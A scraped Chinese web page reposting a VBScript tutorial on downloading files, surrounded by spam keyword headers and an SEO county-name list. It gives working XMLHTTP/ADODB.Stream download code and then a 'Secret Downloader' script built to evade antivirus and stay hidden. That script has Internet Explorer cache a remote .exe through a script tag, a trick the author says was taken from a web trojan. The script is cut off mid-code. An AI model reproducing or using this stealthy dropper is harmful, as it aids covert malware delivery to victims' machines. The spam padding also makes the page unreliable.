国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

使用vbs下載文件的代碼加強版

2019-10-26 18:00:27
字體:
來源:轉載
供稿:網友
說到使用vbs下載文件是不是想到了XMLHTTP呢,呵呵,以下是比較經典的代碼:
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

    當你把這段代碼保存為vbs的時候,殺毒軟件可能就開始報警了;而且使用中cscript.exe會訪問網絡,不太隱蔽。
    那么,有沒有更好的方法呢?答案很明顯:-)
    我們可以利用一個叫InternetExplorer.Application的對象(其實就是個IE啦)下載文件。但是貌似這個組件不能直接下載保存文件,只好曲線救國了。因為IE是把文件下載到本地緩存的,我們可以讓IE組件先把文件下載到緩存,然后再從緩存找到并copy至我們需要保存的位置。其實這個思路是從一個網馬看到的:)
    為了讓IE把我們的exe文件下載到本地緩存,我們需要有一個網頁把exe文件包含進去。比如:<script src="520.exe"></script>。這樣當IE訪問該頁面的時候就會把520.exe當成js腳本保存到本地緩存了。保存的命名一般是520[1].exe,IE臨時文件的位置可以從注冊表鍵值 HKLM/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Cache/paths/Directory 中讀取。
    好了,不廢話,看代碼:

'=============================
'  get.vbs 
'   by lake2
'=============================

If WScript.Arguments.Count <> 3 Then
 WScript.Echo ""
 WScript.Echo "======= The Secret Downloader 0.1 ================"
 WScript.Echo "  by lake2 "
 WScript.Echo "Usage:   CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
 WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:/520.exe"
 WScript.Echo "=================================================="
 WScript.Quit
End If

URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
 tmp = Left(exeName,InStrRev(exeName, ".")-1)
 tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
 FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 金乡县| 磐安县| 陆河县| 岳池县| 平阴县| 连山| 米易县| 武义县| 澄江县| 宁城县| 文山县| 宁安市| 梧州市| 汕头市| 高州市| 博兴县| 分宜县| 新巴尔虎右旗| 文山县| 梁山县| 聂拉木县| 莱阳市| 江北区| 江永县| 上林县| 台北市| 巴楚县| 阿合奇县| 泌阳县| 鹿邑县| 平邑县| 绍兴县| 喀喇沁旗| 西充县| 龙岩市| 泰顺县| 信阳市| 清远市| 平阴县| 长治县| 北京市|